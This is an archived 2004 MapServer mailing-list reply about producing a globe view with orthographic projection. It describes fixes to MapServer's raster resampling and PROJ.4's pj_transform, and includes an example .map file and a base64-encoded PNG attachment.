From: warmerdam at pobox.com (Frank Warmerdam)
Date: Sat, 24 Jan 2004 04:58:13 -0500
Subject: [Mapserver-users] Globe View with Orthographic Projection
In-Reply-To: <400E4818.7090004@hs-harz.de>
References: <400E4818.7090004@hs-harz.de>
Message-ID: <401241B5.6020002@pobox.com>

This is a multi-part message in MIME format.
--------------060908050204090102060704
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Harald Wehr wrote:
> I want to provide an earth view that looks like a globe. I therefore use 
> the orthographic projection but get some problems here.
> 
> As I dont' know whether it is possible to attach binary files in this 
> mailing list i put all example files under this url:
> 
> http://www2.hs-harz.de/~hwehr/mapserver/
> 
> I made 3 examples, every example has a map file, a template output and 
> the resulting image.
> 
> Let me explain the examples. My data resides in a tif-file with world 
> information in lat/lon format. Example 1 is working as you can see in 
> the files containing the number 1. This example uses normal lat/lon 
> projection.
> 
> In the 2nd example I switched to orthographic projection with the 
> extends -4000000 -4000000 4000000 4000000. Projection center is lon=0 
> and lat=0 and does not change in these examples (I know that this has to 
> change every time the user performs a click. My client is able to handle 
> this). This output looks ok to me.
> 
> If I enlarge the extend in example 3 the output picture is cut in the 
> north south direction and I don't know why. I want to be able to enlarge 
> the extent further so that the user thinks he "moves away" from the 
> earth but pictures become smaller and smaller in north south direction 
> when I enlarge the extent further (e.G.-6200000 -6200000 6200000 6200000)
> 
> Every extent that is "higher" than the earth radius (6378000) results in 
> a blank image.

Harald,

Sorry for not responding to this message or the form on the osrs-proj list.
There are definately challenges with using MapServer for global level mapping
in projections like orthographic, but with some caveats it can work.  I would
like to dig into this but haven't really had time.

I did alot of investigation, and have come to the conclusion that the
PROJ.4 pj_transform() function is not good at returning only a subset of
points successfully transformed.  Also, the mapresample.c code, the code used
to reproject *raster* data input to MapServer does not have any reasonable
handling for output map areas that cannot completely be transformed into the
input space.

I have made some corrections to mapresample.c in MapServer and to the
pj_transform() function in PROJ.4 and was able to produce the attached png
with the following .map file:

MAP
NAME  "w2qpgi5qsg4k"
DEBUG on
SIZE  400 400
EXTENT  -6500000 -6500000 6500000 6500000

LAYER
NAME  "world"
TYPE  Raster
STATUS  default
DATA "/home/warmerda/public_html/world.tif"
PROCESSING "DITHER=YES"

PROJECTION
"proj=latlong"
END
END


PROJECTION
"proj=ortho"
"lat_0=0.0"
"lon_0=0.0"
"x_0=0.0"
"y_0=0.0"
END

END

Success!

Now there are still "issues" with global scale mapping in MapServer, but it
seems we have worked out some significant issues for raster input with
reprojection at least.

The updates are all in CVS, but if you are not comfortable with building
from CVS it may be a while before you can get things working at your end.
Keep in mind that updates are required to the core MapServer as well as
the PROJ.4 libraries.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent


--------------060908050204090102060704
Content-Type: image/png;
 name="out.png"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="out.png"

iVBORw0KGgoAAAANSUhEUgAAAZAAAAGQCAMAAAHAZvZoAAAB11BMVEX///8AAAAAAD8AAH4A
AL0AAPwAPwAAPz8AP34AP70AP/wAfgAAfj8Afn4Afr0AfvwAvQAAvT8AvX4Avb0AvfwA/AAA
/D8A/H4A/L0A/Pw/AAA/AD8/AH4/AL0/APw/PwA/Pz8/P34/P70/P/w/fgA/fj8/fn4/fr0/
fvw/vQA/vT8/vX4/vb0/vfw//AA//D8//H4//L0//Px+AAB+AD9+AH5+AL1+APx+PwB+Pz9+
P35+P71+P/x+fgB+fj9+fn5+fr1+fvx+vQB+vT9+vX5+vb1+vfx+/AB+/D9+/H5+/L1+/Py9
AAC9AD+9AH69AL29APy9PwC9Pz+9P369P729P/y9fgC9fj+9fn69fr29fvy9vQC9vT+9vX69
vb29vfy9/AC9/D+9/H69/L29/Pz8AAD8AD/8AH78AL38APz8PwD8Pz/8P378P738P/z8fgD8
fj/8fn78fr38fvz8vQD8vT/8vX78vb38vfz8/AD8/D/8/H78/L38/PwICAgQEBAYGBggICAo
KCgwMDA4ODhAQEBISEhQUFBYWFhgYGBoaGhwcHB4eHiAgICIiIiQkJCYmJigoKCoqKiwsLC4
uLjAwMDIyMjQ0NDY2Njg4ODo6Ojw8PD4+PheC1Q8AAAgAElEQVR4nOy9yZLcSJI2yLaDx4hk
91zmWAeTEgHqMi/gPiJubJHsfoG5AIcAD/8T/HkY+MGdAQPg2IIdG6M7gqzKhx391DZFcEkm
M7OqZeYHg77AAZjprrao6qtXv8/x17dvPyirZqXUN13/xr59+9Yq/Bs13aR/6Qaj3ipcbuni
TdvoTtv2qzdpvpRbaOlNt63e6M5uvniTajXfgEZ0a22ruqzTOtPajufP3kEP4xtctzq6a6O1
zvM8WzJjls/d0aI/uIXvUlPe37b5uMlmPZu+qotPwQAIykHS4m/JteqoiZlOa1ufKvPijo5b
4C7x6zwv1k52toPVk84zc6ovixd3OLgddpWazB3eGrwsszE7o3R1X4k7er66ddjiu015Xx1P
fPuf1FDXB1MfKl0K0BlkFWCxqizruj7WuOlkG1vVh/p1+VjliSAOt56G9DdVh/pUn+ioT29/
Phm6v/7n8qaqs3SLAzvceagOD6e6fqIL6a7j8VQ93Ncn9e/lbcDav8QW3J10GTVyPH44HU6u
pdM9mv1g1cEESFQkCt5xVc0do+sA1OlD2VR0/18JLe6ORdkmsgodDMQRbR3dzXR1pQgbxOSK
73F4dTTkhqqyrOq6rD4cuV9HavDxsa9OjPMq4MuTkNtpTG6Ky6Li2+raVPRaaNMYfiJaIRI2
SkBjpyyf98uebjQ//piZzNwXuSHWpO7TP2VfvcrazPfJs72yxIzZYvbGmP2SkbjkUzZMuqzd
k6kVOhmo7qG5yjJDnDjPLF9t1uY620/FT3zNGbfoXqvIkP4moLDtScR01rVtlxWFMbW7hBSE
pp9Mwpm70z8A9+hN22Z6ZzL/G8nWZtNq7a5tAt946EbddxtLsm/zxQTEEuNvWtI8nf7fIo8F
UYY4Gm3pmYSvUQVmhyKilnXejoYk6iXvGEaA7pat5jvaljGmcdOU7RaNOxri/qDN6BiGadDT
PFNroc/QXqQU6TCzvyowAl/A8Otx1rJjaCWjBzEKVGC4ANKow9GEThPHlIQwanmXiGn9G6Fw
yqadu4VatP6OVwTjsNvPQxZg9tjCAwwOdOus7Na16zh5l6Ffow1cFhibPphtoUkr5VBUrgNO
xkpiIT3ngSZeC3D/KnN7txh9tnbrGNdri+pM3BTEPzCna+2nojJbo4nldg5lQcOME1mR0Jd4
B700B1NAVUakRM1n2imzK8aMhCuK3XAO32285ZXV2zEArtIBLL8rhwY2zf0iFOzTbBqvkQNJ
InmELEkDrcwUBDnqzSCp8cMLk844lDwc3qyA8NX6YO0XLrbi7qB97aduw6O40MaPwkx9codX
galPEQn+1s/cASVoPbwBYcCyb+izd/BNK6L4e9uvez9sMFPvGCdfbCEcT77zk3rz7uHD0+H2
l27g4/Yv493t48Pz45u7b7r++w7y4ahn//Z5Wnx6zM3btz8PDsmQu/nzblU6lOphENkHasm7
2pDqtV/z+tQ2miV6JZePXnTbddkXb9Jd5NkrmKlWNWTO+k7nevzsDZuzFvpVNZnu2qHPNKnk
ZTHmMw3pH9pzI9h3GWEll7Mmr29/V5XmpQf3akrsC2haNWQZYWHDyqqbyeN46fWNgbE8d01L
QbDYtsi6K7IJZMKe6l39Arn+Fq80jBn4rbG6M5eaFLO9q24/vSMJIIHCPpjXFc3hZB4Oteya
MPlOPjryQY6H0+HQ2BNUWH26K+v3J9FOvDhYnfJ9DReJXEr2x54O5C49l9Vj9Ef7IILBtFXs
jlU/kR9X4p5DU5GHZU11DF2Lqt69twd29MinopbILyOntFbV4fDhoNSPsVvpDmoIvl59ZAfx
eKxLNHgs0MNDZT1BX2rJ/ojrCfq6ZJeRPnyki8nvnaxzFC+i/fWasagLAFPCUcY9RwK+ulRV
dUMmoLcJXZElLTlt8PRwW6Wr6hLvJi90zd1vXgUnGa/OsquZnADy4PIfzb76EX5ZZRb6ruwd
/A6IQa4n2yorhCsjHiZHAAd9PPfjTK6EIV8cv0IIOuMdOO/50t063w/ZTK5fps/wezISsqn6
6Z+C/ic/CBIrOUZ1DNzck4NIYz5y4IyhVpW3fTTo6nT2wkUIjE0iuaG7Nrk2pQk2jVzLTWZ7
N6xqlGRQa9lP6rJ2M5IvZwJi4Si15G/qPrBLkAFuRWdwSW1GHrB3pmE2OlJWXU/NDwmYaMwI
9HZDdxndB28A4NPw0UI17MPF3rPkEak7Jq07lZwFjZ7BFwxeX2BPvNGTZnb7xjBEBZItOaPd
eZonlW4J4NtmGtjvs2PvpInpQh4c3bDQODIKZRgwwbWc9DQO4zReqbPDCm65gru522vRiEce
eXDjdtltF3Kk1LRz7MQith10RjoxNOKcBmeHC/PamO1MrhKp+HgHyTEp6nnSSSdFR86SMqbx
AXzIzkjvCj435hyi2+5uBu3OprjZketp7Rw4zDVTDn3eeWelCe6P+0/6e2fGwEzJEipgP3nt
0p0q4PQmhk3a0ixDx3hvWDbjgJlQtttNicFt0rB2mr1LlGTGrkY07pB6XI8DjzWaeHnEXHSG
Xrg+arkK9IjkjLfFhl6t75kicpNXFnjHf3r14rDBfw69EFABos95ZMoLUetBj1qgceT69I5X
zpZFuxHA93+fveEVT2GoCIpXoe4JX7oj3uSw0ESx/soN3Lv7YJz7R7s8Pr9//oUb3LG8+8vD
4/vq6aH65Wu/4QiK6Xc/FqXIdXz783yVFJAXkvYTZ+g7jouBTMbbt+8Ev/JB2rIjHUsqE8f8
WwAgUrbPq74rrw4xZ7DZNKRnN7ajP2r0O1rQWqt0BGVs24yJQga3I3ua9eTd6p6sYpvDY/1V
LXRdZ/0MQiOGiSrryXLMMGwjjGGWjb3uMa0Dgz31y6I/N7P5uaPtFOYoVRrmKR4jOTV6zmiM
P1IjGcwUOQQTZkIyeCJk4st310v2y00osmVtY4MKso20gzhAapi0vNEwrZ1etJrVOFIr9i9V
/Xyq/89fQFu3iX6iSvootjKTFS+WjE3IlZ5adSZCwIL3uICgsn85leSCma/IJPVOCTWx0kpo
0+j9UhjbkKJrZ6DwbLvZNvPWlLdk4hZy+C7aJzh6c1V/oY0sTtdEdZfMi/sNevQd2abytqy8
u4SXBgOwkhzqhWxdSa53Zab7z1NDKOtEdffXcBvXZVFGZ75W0nBRO/TToT6URVFVh7o8FOWn
TQSHwg85VAImos0UZVUe6iO72wd49Kfjc8uzpqdKnz7WfPpwKh7JSyZw8pdD5DaKtBTuMNFF
I/GGhwlHzMFW5TONG9z8cnnyR3V6Q48+4qSqD9UtwfV0uWaztUmMlA7TN0qd6gPjqMLLI33E
HO7RTX/jlf4+3tnrm6qij/cXtrk6TacPRhKm++eAqOSHCGCUwnQ1d54HPTR0qQ5uYMJoQ3On
431Zksdycg0f2L035ia2semYDm4tIBj7aLTpQ+W77LrNI7PazXw7FPGvHzFsUsbPbZ9gFhoa
f37CV54jV1Yep3xneZKfOKhmkpzIxGC4BRweawdReW+714cjwffRPaIM9qYLHccajet6650V
9iOoQ5cliTGYsypq/FW17+/pLbVK5Lk/oImiejDk49GJMbCPCTOOgVMbqdmFoEyjyRaMpAzG
cQYu7GVRXZaX9z+aOx5s0djukhxIUsazKWxkU6ifPbexkF1ok39r42RW5LLmIieNO2MCfo8h
3OTGcZjAJ3W/kA9+h+l5GqlB41fU4vEUUK8cKAP9RH50UIpRxwdx5/9dpvsxy3JqKl/yfESX
F+j4jAdMpJon0v8ZjeDmuSyLukwKiYVFkWHoMKHeKishSKzsGtLZuGCwQ5A2WI3goaXO6L7s
BxprtTBf4zKbXVFAsSU3F43YiUaJ9L9r+0iQpFWSWg5TmL4jjdX5mR6NFQS0tNFkgc07RmIR
mR83A5AMywaARNtOPNy7q9I8RkeI/ztHhZrJsCBAnWSKFKWZ45DXY4IayamBjd2wC5L1SS/6
TzYp28Q1+J9Tz+bOLZEQPIQN1WeErGztgls/SMXCK3lRLdZteK4/snQU+2i/YqM0tpqw/qB5
hRTOl95fE67mpP59Y6DJ1LmROLwbDPznzI3G2wRDYLIIiGuv84PkdsBrQ5/3YYWHL3Oc1Dju
6hnijvuk9W6rl/wlg/m5iwQWHyMv2kzjREPffLgiE5wNnmDuLsYFNzK1GRae9Yan+8x2b3Tq
riNfEzGQFuPwaR40g3PWwwSgMOWSsOXfnVqZNn0PBiOop3nW2y6CHBVN4GcVUMhtUxtA1DSe
4YBNpqFvA64xAb82jIeU2k1uDmJLFNliIkLMB9ig2QQE/gGlWXZ6medlHrd6nGZywTSWHa61
IGRcX1G16XS7YFbB6IHZa41/aWFSc4Uht8Qs82LmeTcsy6h5qX0O0wlKDmmhkQmWkVTcXtMl
YkLHKUjbBN4KNpk53BYlq8przCxsCXd8xehnurwelN5QOejhTPBO23xww9fUkGxBNWKkayrz
rjTF9evdspuWiccBeqeT2K6GzfT9BpsO9CC2Cvj1oaQwo1sRrWexVEVlFvIep+lK/BoV0dpd
saacFswlaSkiyZuMchlI4qxrUd2ZeYfZizjbkLjmk2EwtXJtMJG4VwHroVMRBH5zOw8Yo0DY
jkhCyApzVja2gPdXnxwkwAsGHUKUAmrghcbmArPx7xATLb4HUD5BVTjaZhzn3orHJ+Z1Z1um
U6ti20K1Javg2/psG0DZ5KeZrBd2Kw1/FBy7usb3PtLBn/hCG68wi7Gbg9VcWw+pUCJCo8IV
vZK65IvNzNvYmcQtUTTFQ1MvYpOBVb7eBCPtjWmSXxwZX6BK8E98cOjEz19D1LqdyGIR0ytu
C8xgEwSBw76xBd+OXF5SkcMEbRJ9Ilv/qhZ8O+TTCRciPLhNdElUsL9l6kipN4IDIqWiNlb2
7vlT9fE9x7u/Bv756/Ph8ObxzYcPz/XT43/953892G+bdPuVx/s3T+/f/xEP/rsf9qsa4zce
b/m4YXpf/8l+zlr8tsNNQb4de2FWmbWef685T6xwcxsfpMnQfgWHvk6/tYWm/Zv6T2rgIz3v
Wo1RLuE4YmjSs//41RXzXzp4t8fbt++d+u2b4BDzilSH4Y97gQ/9nU2oGQh5+3PUU9E96mmI
2Vka0vDc7ablVprvaUM3Qf9GU4J/HQjiXSJ2tgmYzI25fnUTZzfQ8L4XvEintLTbcJbBtWgw
cLI0JO42A40as/4bpjjl0XVyWjjYVKsyq8/4dKbh5dmeexoqdG3en7NeZ/n5V00MY7jZNMEi
BotPQJ1pgEtjbB5cd26uNhuwwEnDORqgkXP4zcDorttEEKTlUMAToWyksdm502cat+d0nMlV
Jy+avHW4+N/WRrbZqC6uJYZFW4+wVmXzbmZKZxhgZRhcMTTkgJr5zpjdN8GRbYRljUoktNJt
MYBpc4yVx3nKN1jenPWUGU3+fVXRyy+30Wq/RU0F3zYhjBuiETLwdB4hHBMN32fVjyqfluXi
oqryitr5pTaudBiDqhUwjRfGxp73hH+r8lnxxsB5dKvjLXnFzak6mbos/uOXcBW0U3Lokreg
pxJjEXiyWs36bBvmM/qxp+sIccqeOmql/+rKVhwsWsG9wcciFWIwWe62NRNw2jS5GW3f6M6Y
fNJ7OsEzicZ8aRKdjo2gdHJPoubq9ltNo0NuZA+/bCDgFjXN+zsMGpel0EY9P7+pq+n6i61k
avXMSI/Y2paeVSjrNzBgqwZBp3q706aazd6MZwKlYharvuDF9JjtZx3lcNVKFzJwV8OL1VVZ
lE36cWpV15iirquyNF1ZEofp8vOcrEOnoyst9xsz+xKyf7qrD4fDqT5cK3mcleF56KI6vD9U
ZUVtfRZZwre2qevCiVelcWsOh+Pp7alOyG0YQkx439PzAQiJpP4MKL2QjRfDw9BGVZnioTxQ
I7y+cDygnfr0wd3XHdwW8bL6WFeHU1XrT/flNWnYlzze6GTzoJ5XT46Y4sZmIOxBOh15yzrB
NZxOz9zGocRl5eFUmk+2sAXcxIWTBFVojxABXB3d3Dz9PxzC/P3xYOrTJTYjYdt+VZfl+/JU
fbKyFSQwKfXEwUr9+c9qBC1O7vFYDzjwKkB1invuy+s7t3zyRK1U5am+fbnhLSiOqK0kuvAT
ng0YTvyKxRO3SlMFYH4+2Y7oBVRWNNwoi+pU3d2sGvkXKwkR5SIOgRZecThUvIGfHlSeyueD
XxR46xZp6idly4LeD6efVa3aO1Wt9/tFLNnWRkIEMuGEWz+puKN4wdoWHv03DlTgAIJTVfwJ
3Ivlm7enjvR1uW4lW6JXFeVCUMfy7rfDsf4Jaye+4/TCX44OovoDmPmBXk4kRfQ73X1zKxpp
3NJ0NH8JZe5ES88oj35BDsEP/IfuEyOd/LIQyXndqur2GaxAsOE5hQBF6UYQO7UTZm0uHIGP
PkLCLVrxd7JQLkiDF5+qAwlsfXL7/nj6SzZih8hGcd4kOg+kMxxmwpIWmPZYBb5i2SDp4XUn
q47VyfWDFWhqRPm55eCSJqMb3iEAByY+CSM/s6z/x+ntWxc64mBBW1WpGlMesKnSr1iZOJmK
5/RiciPMMVneWGdtW/F6VVkfnrFPkP4/M7Hfvv355PZCsmCSCBLCLioC8+i3iyrTJkhoxBFl
ME498EQ7a0asmxUVGwog/VhXT3VYOoPwuCVIzN+SV7F8rA6V32lkM4+v0RmO6C8kV6jxU4G8
fDWZ+8JAkbvnnag1Qn9dXV7eXzoTcGcmPd/aytyew5Z025SWG7kIjJWsCLuKUVPa7Yyp/izH
JPDlpbkrisuHgvTfpTE/cgfYhpADmY2Zue2uwPXGY96vZip7IVWvQ1Qb59UUlmOynNzrfNEI
qcl5CZC3suFbtp+Muasu9xkmsGdd9olp6Amj8lJixtW8ycrx4qPLeDJ/Jq8LyzC82Lhg0XE0
M3vF1EI2Z/CRM1O9LuvTn6NhuuJGyEmfTB/2kKrgogZY+HSXZfo8TXrJzD7Hs3OT5eTmTdg1
qrGCNvM7AN5jm+tVgMR2DAg5gct+5UUIhzs0jD0k2bTHcuU+QzuMKXipWY+FqizHitM5m7El
sCirRszCQQPnAHmTRzFXCWfRyWtUNwJdWI4iBytDI2dsSc2wwIgXS+1o/NNV4dYyHZf2rhHC
JY8vszZOz0U2Fqtsahjw6Lkn0Wl4BaTv3HImjfFabX8glO4XIlVRluUYxACuDBrJ9rpvDZbY
Ar6CQm5Eo3QQ9zd+RVOZ84RVtoyGDmiKB8C5xqT6Amny0uBGCMxcNNrvMAiU+2DlykFSY41q
Ekr1YPyIC5BsOkKbMSUWB4pWoNrtUqXLLA3IMOpf0SOwgI0LGcI/orcJO4k2PFmgeafXMAzY
Yo/t7ELI3L7WrCUgOkBirOx8svhRHcQ/vIBlN27tt3NLmiRNpizM3luJYDVgFl13tCW8dkpY
kWhXkjPpWQFXEDth8MjrrNYFqiGqSu84YieQMqDLRUfQPUQYGjin3gt1Zl9QBw11bjWW7iTW
2rSbfNR2hCLomohnFSBRHa7iiaUWMntxEWluI6bUGpH8/dyfM0fLju/XCyIltkN0p2UjhMsf
NnrjYmkRheGfKJdEhEcW+FpdjJo3lFMjncYi+DQXu3l3lUYCHu3sc9HD0QAhrG+hN5b5Qqmw
rCSUjE2HW6iZJ6yQMumxO24iHb0NUzJRiq1jYY5X2Wxsh1VscD+W7dN1cfEsEch/YyGZZ3oZ
MdFCinY6d2mOP5AV6NpAGHkuLp/JHkxb6mCQEiXtSpSQCB9iLPU46BkAEVG2o9bygsRdIxAK
dG2wmKmHeWvCBnq7ulhFrIWH0IOHyW9e79ut3mWxEXGwI7xhjGF+bNxrvcVgPYq+UJeJg6M6
GFy0oGaRIfqM7Znn4sK+EeuxBXyBreil70fq1o4wG1g48XDyMPi/X2VcMFE0jfQya7ezftSB
YWKPnEu/ZzkEiyzTfppcxGDqeJqd8F8SPH7LPjXi4y8HdJCj0eM9bgLUNixRMA3TZKgNHZkj
KTmLGwX++BG3M109DtzQRFggM4n5lbUCtH5wsmszggV7CqaJnAU3idP6jQ5rfRK5E81NvAFj
nHghfwRrEiT4aZLU8x5k0bY8+zrtxxE0EVtJrAqDloSxoMzau3melv28zPtpEzAHntc62u20
scDuerd9YcYtfu9S4qFIf/4QvRrbmZkknBA876mB7cxgUdvb3UbIUmykLemqdj+bPeFs1BfC
GQ5IinIezb+qX5OPhdkhg0gccCZvKB1H0wkDm8YOu1tAst9ia4GeBeWkFhZ2gptvinLemdKQ
aV/0DrNtjuX2OqofscaCXumpG4l9x5mOuHzvhErQP+DReQgL3HhTLtSQmf0iu1Vbt9PYjR3S
fmj6anaaNxcTm0xbwUpyFJmgC+qsJq+Brfo076aJp4CsCfswhCh6Lr41I5iRdwZ1bg1Ddj3q
VMl1NCo2O3K7QZfZ7aiic7tdZEL7ch9G2egzBHez0ok2qZcwggmkwTk49tjZN29H7I8CEhtz
Tp1YL9Ta5pr7krMv8UL1Rrq/IIxS/4+5K8uiMDtifOOvuYrR6PbFiheduHaqVPtuxhAuz71N
2GctgFNPpirKG0KX2W2jWkva7eViIRHsPOUWsThikJ0UvlDIgag4a4i/iI8XNBL7kJTEuo1X
pIjmHQif+XCQgCXfvyTx4Rfoj+a2MMxd48DXNoHkLoDXvvqkFWzUIWvtd1e0K1gkUyZsWUw5
gCSTD79XzqD6Ln26ymUxyIX7sdqhIhAVPjeRrOguqa9iq0ehEqJH8NlgGvW41+M4xk7Hh4tP
3EElYII+TQ5KMnWfoYhrpYOf3kqjmOSCW26D1rKB+8IIwwoA/MWfXxK06lEbna/6nkjRyock
obFR7IQbv9Lxn7RiSK1cBY6SxlwQ30t/nHOIkhT5wV3w+TYQOj7piwB3IxWKazSGyq2hiA0n
8f3axg97Xsb4IIHi1cPTBKVoLf79AhxM/GXp7fqRgbD8qfF2MXxfc0cTGf5rbWBVeZdokFxt
4eZIQYgWQHap+eWdAD4Zwso9wVsr+CChzaa2BZ/9UhscsqjWhw1sGwCT4hB/jL36hjZeveKp
quSWSE2xaiZxa2zkm9twEX4riRMETkYj/WSVpNS3tUGtPLKQtImH3SMbGymRoFLBBDg++NY2
6FDX1st14FU/l6ckeEG+Hdmbb0ZVbCUxjcBKwHuifhAc9Q3i8ZlDqCFl/0PYmDbRK9maX0ON
l8A0kbcCqyZjHCH06PqeNriZ9laovSQJyXWNO/q/swnXzGMr1aW0H15Nv6GX37zh6+F57dm1
nfrXqzfvlHr/t+7543P1dPPLz/iW47HyJK7ePz99+K83b948v6/e/NfT03/e/L6b1u7eTTcP
r29v758e379/81yV5ZuH37UBeTy9efz/xpa7/0bHk9uh9/b25492LbntHxM0/Pse5ESNb9Mx
z9KDCXYiaI2336nr/tDD3KOjc4Dg5w8/z/8hHJ52pZEap2M5yQFC2Zb+H919Pi6mZ/R1+NnB
8LcPN3FT/wutyoZtGs5d5+KUNPbVWEyxTdPwhVQ9f5/DDt0Zy5/NBCos0VB3g16meTwHS5B0
t+ZALUyiuWn9Vm3aruUvZ14g+QcA0an5ggXggqD4a9yl4/7i6KJLBk6/M7yexZNH2mVa6jCx
vgEgG14n0KDW3w8IpaZz5JjG3qyHLnLY6F6Y09r/mIdN29p2wxswNiz5RIwNMkdhtybTqNMu
FuvvAYX1YU8r//uFKCSvctLBU3fzG+gpZL/plJMU6v6ADFgI18sysF72A8P0h0JhzzyLLd3G
6O+F2KQ4p40Zllbl2RghzQZkqWFNrLI+6zjcEKtgmVtv0/mo80H3LtRz6v4gKHgKDIwsOUeF
kX7grkgcrMNkBFemZ38OU875Gf13oZyZZyZ6KmmNPLN6zONkf45A2PEPoEvXcgdIy4jxXTIU
VlDIBhsOdsLy/XxWnQ+opb+822R6yobMB9lq7C7W2Thg/yz2LMzTks/zbLBfdPnNG9xXB3L4
bkgFNSrtuo1v0liIAV7UBr2aslnnJAd5joUbiELecn7f/Dxm2UjclGeDHsZpyhZtFrNMy7Jf
dtgQvJj5W5JRfNvBpP6BlE+nzxeJg+RQLhyNBAxXYTPGwpgfeuq+9kTIwk5myzuZxzEjKMaM
AJnyyZjSFDfmBuvT9wW9X/8eKVZeIaUp9lhrGyyEtX4fVhwkBrst5D9Rhvcp8CpqfmM3FrHN
DAoiRLFho533y6yuGuTSwHljzGvSAf9sqqq6repDVV3+e/WbBR/b8zPVtZJdgt8nyJLGj+GC
xGE2XzLqb5/zZhCDXJ8t76SAziVI5mVv2BvT9goL50OOPIFNk9f31dNj/vx0X1eX1f1vogro
ruLMgHAD2ahZ2eEEqpd7LE6PWOJwgdnKT5TYHivd6go7vtvc00o7tvQNdLo/k/KlEx85OcSx
rqqCGPS75V676JgwjxpmslbDiyTUidOcq47kcG4bVmXM0LgZXs7lfTXuM87O5gAhKpgROo7A
JZcBxNnwMntOVvQv9amqDbajYb/Pd2VScgbDJiSLjtvISSujGKcN6G1gONz6Fn29vnPwDtuw
LU6zZRn37ZVVdPGyYPtZgcR4Ztnv95wijy67uOeNcB9rYjdT1l/Z1P6Fg7zCtU5aTf1GZmtf
CI0PZG/UjH3qZpoXekuoUE3j9xBy1AqdO5+XBVH1vHJYVsWdI+M0Ir0NJ7k4VAV2CRNhsC/g
V0LSZRdBu9owFSynOe0KNGtt1Lzhjwyn69I57NpEquaunQpOZ4r0gm5fKqSQkHbWC9b1yhsy
HSXTcbe9vy2xGnpBrEW0KE/HyuzMx18zL6H1KnhXyc5LVzFwmFAIQlbaRfeLat4VhancjmgD
xB5CxH7k28687r20z7dKGbr0uWIaIFiGzZAAACAASURBVNyD91Zynkl6zhlpQr4ZjCz0JwhF
IECaB7QRwCAoSTn7UzeE113htnXXpUsM/5Zeulu/RhAnYq0MOyCu/Ol4PBzqD4fTHfK58K7U
qizrp5LU8G2pv5qqScKR7IINZm4lKnJSOXFY8lgwF1lWCHwp75A9BhyORDYHt8X3yBlrqhvX
yrmk001kYwjZbQG4sT3/I/buVqagq6vDQ4ld1CRHRpefz9P0OTgSqhOWEx8FnrOCp1YUQWqo
skS20ofD0W9PPhAMvHucQxbozM01dDJSprqN/rM6n8e+77GL+Rm7nd2+7YpEoyL7XtaHR2zf
raq7fL78JTCUT9vkZVwsubqpj7Twl3gqAhFd+pa3KXuuIjYBpxyQVMjtJUdgBMdEcABBPNDz
Y31DtAi3Yj82idaFLau7itBC1IDPUtyb7PbrEWx+ZTLJxUuy+NwaVlCDlRJ8duypK5W6qsrq
J+rqwW3irzkpUv3IW9UPHHHBoREn18u/JUBOf8Ulf62tOZQHZJ06gHCgobWnqjjdmcca5RBI
cJ4rk3/NZ7E+J3GcU1sJReAnYdrDDFzUVLdH5NeqEFLjdqcTlkERRAvVAc8u9RPBdFfUh0iO
mIiregZvYtN5WR08FenhVXV/eHi4Jy67rZ6q2yL78gySMswXcbiRRDp9W7mHEQ7lR+XM1D4R
2YkpwYRB5wk86iUpgZ9CFAwxySmklaq9Jjgd/nb6UMMNqO5vjQs34at5L0fffKj+eno4VPcE
lTH5l+BwuXSTPEefI/GbFO2gdOOJ/u3hGJB7OJQO8Ud0klNu8T9Ix8HlKq5DPMTJR5IEqpCq
rUgMCeqHRzr9oUYsy+niYjwY34szbIz5NC+2g8NeCPMRLLmU4oB8t09lBQwOV3WD++MklRnL
BYacKg5IKd01R5fgmUmByAUXpJJSsJG4I3z8w/UDyUT18fAccp0dq8ox8lWF4IDys5D8pUOt
FMUbsa1PAxR9jigSwaWKmTtskCpO2eZjaVgufqp/Kl08ypE17NFlpz64oBv6+BGgleWJtdrJ
5ZTmdNf14+m+alv1fFMeQo2VU6hMUrseuQiBzxHkYv6T71ortdULNbZWYUm72dYlxWbx4FCQ
Q+D/k0tF55Nss9Y9gDAHstXlHacSd3nf+IYj9DSZDfJSlD3dVpWPxWMiIoDmFAT388wFvObB
cZe5cSOnpSGf9el1k+hjuoQ6Vn88+t4IpcojI0cHdmJP8QIXAFXXPjXegbMKcrgPn6g4roYz
zbnnHTjC67WXW7c78eVUvlI5+jR2KpLDCmjCrVHm40hLpV8ZdVGf+oOtNnQXRx5Fg3JCl+Il
B99TdzFkBMJPugmhHdVrKOGjpyTXrgkGgQc7LyW9EcsBwtcK26Si8AcILCKRAmXwgzMc7Fwc
XY5AqOIjG3T+jx76SLAIxOm/PvB1jwe2OJ44NUxI/UgCRGhtL4wrX+T8msTjFknxXwCiG6l1
hUSs5hFxJu7s4fc2QVWRhwiPuzLwJtzHI4dl4SNbErwfXpLsLQTn6aMLsjz6SCtcW8Ktqiw5
+HBMwKJ0UhSo4UlZU3CO+SQhyX09R2ZRLz9FkYnnmpiXtTfF3aXLGm9+RMwUklAhwyDB8hPn
rCc6kbv0kcnmDCKAYzfQu+pViBktKxcUheFVVaFuFY0S78qrkPpaeBeFkYDkTdCsMfnaejiS
jMhKH8eLSFFkOTecaSRKRDceCK57GvWVl1VRou8PIBL7LZeA5UciXYVEsObyDlMUnCGSA8aq
n0q6d7fXHBh1V9yVZjfdIXYmbFdJhgEDeynqyhZ994mJS5IhVK5g0QA9/cuRk2Dh6d1szPbI
TmCmbG/u733MGfX1vnAfC0ysXHKpJ0I1o56unouyKAoCmq9ZthM9kfAy39HwzO9JubLO+5Bd
lFKiUQlp0TGOU4wzYiBKEA3rttAERRBHeYgzwdw0E2RCmBZ1dL+ERJqLf2eaLXt/mno6YcoR
dzE9HUcRUkae0EZYGT2oLA5K/V+vOUKtSVD4XhZpdRg5EsY5H846u/L4bliQhXsbuCv8awV8
7uVK6WyLNBE8ubuftzNmdTAFyqjniR7zo5n3yP2LCZY9JwQ1OXUYSe14FnjiOfr9HjQddD6P
yz7jGmC3LgMvAPGlPwK69T9HKclynu5Hia5sCBRJ4pAcdYeJxkoqCT1glTaI/wN/Tfucs3ho
TPRkC6LpID/z3kFFn2YCNkN0AkJGkDlRIzsoT20jS2HmJrtnox3XcQm5Oiqs6FGgP0FC+pxX
VWc95brlLI1is2QkZejs2l4qcSFMS85JHDlJNSK+CJwR/QfnzNkyZxnTQSPfKJZOECPnAuoy
